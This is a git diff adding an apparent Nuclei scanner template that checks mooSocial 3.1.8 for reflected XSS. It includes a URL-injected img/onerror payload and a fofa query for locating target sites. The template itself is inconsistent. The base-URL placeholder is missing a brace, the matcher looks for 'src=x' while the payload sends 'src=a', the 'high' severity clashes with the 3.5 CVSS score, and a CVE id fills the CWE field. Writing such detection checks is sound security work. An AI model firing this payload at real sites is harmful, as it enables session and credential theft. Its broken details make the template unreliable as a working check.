diff --git a/http/vulnerabilities/mooSocial-xss.yaml b/http/vulnerabilities/mooSocial-xss.yaml
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+id: mooSocial-xss
+
+info:
+  name: mooSocial 3.1.8 - Reflected XSS
+  author: momika233
+  severity: high
+  description: |
+    The attacker can send to victim a link containing a malicious URL in an email or instant message,can perform a wide variety of actions, such as stealing the victim's session token or login credentials
+  reference:
+    - https://www.exploit-db.com/exploits/51670
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
+    cvss-score: 3.5
+    cwe-id: CVE-2023-4173
+  metadata:
+    max-request: 1
+    verified: true
+    fofa-query: "mooSocial"
+  tags: mooSocial,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}/classifiedsmomika233\"><img%20src=a%20onerror=alert('momika233')>momika233/search?category=1"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '"text":"<img src=x onerror=alert(\'momika233\')>'
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
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